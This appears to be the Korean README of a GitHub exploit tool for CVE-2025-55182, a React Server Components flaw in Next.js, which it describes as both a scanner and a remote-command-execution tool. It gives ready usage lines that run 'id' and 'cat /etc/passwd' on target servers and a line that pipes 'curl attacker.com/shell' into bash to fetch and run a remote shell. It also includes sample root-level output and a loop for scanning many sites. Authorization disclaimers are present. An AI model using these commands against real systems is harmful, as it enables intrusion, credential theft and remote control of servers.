
A Python 기반 보안 스캐너로, Next.js 애플리케이션에서 **React Server Components (RSC)** 취약점을 탐지하고 익스플로잇합니다. 이 도구는 수동 탐지, 능동적 핑거프린팅 및 RCE 익스플로잇 테스트를 수행합니다.
Next.js 애플리케이션에서 React Server Components (RSC) 취약점을 탐지 및 악용하기 위한 Python 기반 보안 스캐너입니다. 이 도구는 수동 탐지, 능동 핑거프린팅, RCE 익스플로잇 테스트를 수행합니다.
⚠️ 경고: 이 도구는 승인된 보안 테스트용으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 항상 테스트 전에 서면 허가를 받으십시오.
✅ 수동 탐지 - HTML, 헤더, 페이지 구조를 분석하여 RSC 표시기(indicator) 탐지
✅ 능동 핑거프린팅 - RSC 특정 헤더를 전송하여 서버 응답 탐지
✅ HTTP 헤더 분석 - Next.js 및 RSC 관련 헤더 식별
✅ RCE 익스플로잇 - 취약한 서버에서 명령 실행 (악용 가능한 경우)
✅ 컬러 터미널 출력 - 가독성 향상을 위한 시각적 피드백 개선
✅ 대화형 모드 - 익스플로잇 모드에서 여러 명령 실행
✅ 강력한 디코딩 - gzip 압축 및 바이너리 페이로드 처리
저장소 클론
git clone https://github.com/mahaveer-choudhary/CVE-2025-55182.git
cd CVE-2025-55182
종속성 설치
pip install -r requirements.txt
필요한 패키지:
requests>=2.28.0 - HTTP 클라이언트 라이브러리urllib3>=1.26.0 - 고급 HTTP 유틸리티colorama>=0.4.6 - 터미널 색상 (Windows 호환)beautifulsoup4 - HTML 파싱python rsc_detector.py https://example.com
python rsc_detector.py https://example.com --exploit
python rsc_detector.py https://example.com --exploit --cmd "whoami"
python rsc_detector.py https://example.com --exploit
그런 다음 프롬프트에서 명령을 입력합니다 (종료하려면 quit 입력).
| 옵션 | 설명 |
|---|---|
<URL> | 대상 URL (필수). 생략 시 자동으로 https:// 접두사 추가 |
--exploit | 탐지 후 RCE 익스플로잇 활성화 |
--cmd <command> | 특정 명령 실행 (--exploit과 함께 사용) |
RSC 취약점 탐지:
python rsc_detector.py https://target.com
익스플로잇 및 id 명령 실행:
python rsc_detector.py https://target.com --exploit --cmd "id"
익스플로잇 및 cat /etc/passwd 실행:
python rsc_detector.py https://target.com --exploit --cmd "cat /etc/passwd"
대화형 모드 (여러 명령):
python rsc_detector.py https://target.com --exploit
window.__next_f 마커 (Next.js App Router) 확인text/x-component Content-Type 탐지__NEXT_DATA__ 및 Next.js 임포트 분석Server, Vary, X-Nextjs-Cache 헤더 검사RSC: 1 헤더로 요청 전송[*] Starting RSC Detection Scan on: https://example.com
====================================================================
[1] Running Passive Scan...
Status: DETECTED
Score: 80/100
- Found: window.__next_f (App Router)
[2] Analyzing Headers...
- Vary header includes RSC: ...
[3] Running Active Fingerprint...
Status: DETECTED
- Response Content-Type became text/x-component
- Vary header contains 'RSC'
====================================================================
[FINAL RESULT] VULNERABLE
[!] This application appears to be vulnerable to RSC-based attacks!
Consider: RCE exploitation may be possible
[*] Executing command: whoami
[+] Command executed successfully!
[OUTPUT]
root
CVE-2025-55182 악용:
child_process.execSync()를 통한 명령 삽입이 도구는 승인된 보안 테스트용으로만 엄격히 사용해야 합니다:
무단 컴퓨터 접근은 불법입니다 관련 법률:
이 도구를 사용하여 취약점을 발견한 경우:
도구는 기본적으로 SSL 확인을 무시합니다. 확인을 활성화하려면:
detector = RSCDetector(url, verify_ssl=True)
도구는 자동으로:
코드에서 시간 초과 증가:
response = self.session.get(self.url, timeout=30) # 30 seconds
CVE-2025-55182/
├── README.md # This file
├── requirements.txt # Python dependencies
├── rsc_detector.py # Main scanner & exploit engine
├── rsc_cli.py # CLI utilities (if present)
├── script.py # Additional scripts (if present)
├── COLOR_GUIDE.md # Color output documentation
└── .gitignore # Git ignore rules
requests>=2.28.0 # HTTP requests
urllib3>=1.26.0 # Advanced HTTP
beautifulsoup4>=4.11.0 # HTML parsing
colorama>=0.4.6 # Terminal colors (Windows)
한 번에 모두 설치:
pip install -r requirements.txt
--exploit 플래그 생략python rsc_detector.py https://target.com --exploit --cmd "curl attacker.com/shell | bash"
python rsc_detector.py https://target.com > scan_results.txt 2>&1
for url in https://site1.com https://site2.com; do
python rsc_detector.py "$url"
done
버그를 발견하셨나요? 개선할 점이 있나요? 기여를 환영합니다!
git checkout -b feature/improvement)git commit -am 'Add feature')git push origin feature/improvement)THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
THE AUTHORS ASSUME NO LIABILITY FOR MISUSE OR UNAUTHORIZED ACCESS.
USE AT YOUR OWN RISK AND ONLY WITH PROPER AUTHORIZATION.
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
보안 연구 및 승인된 침투 테스트를 위해 제작되었습니다.
마지막 업데이트: 2025년 12월 19일
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하세요.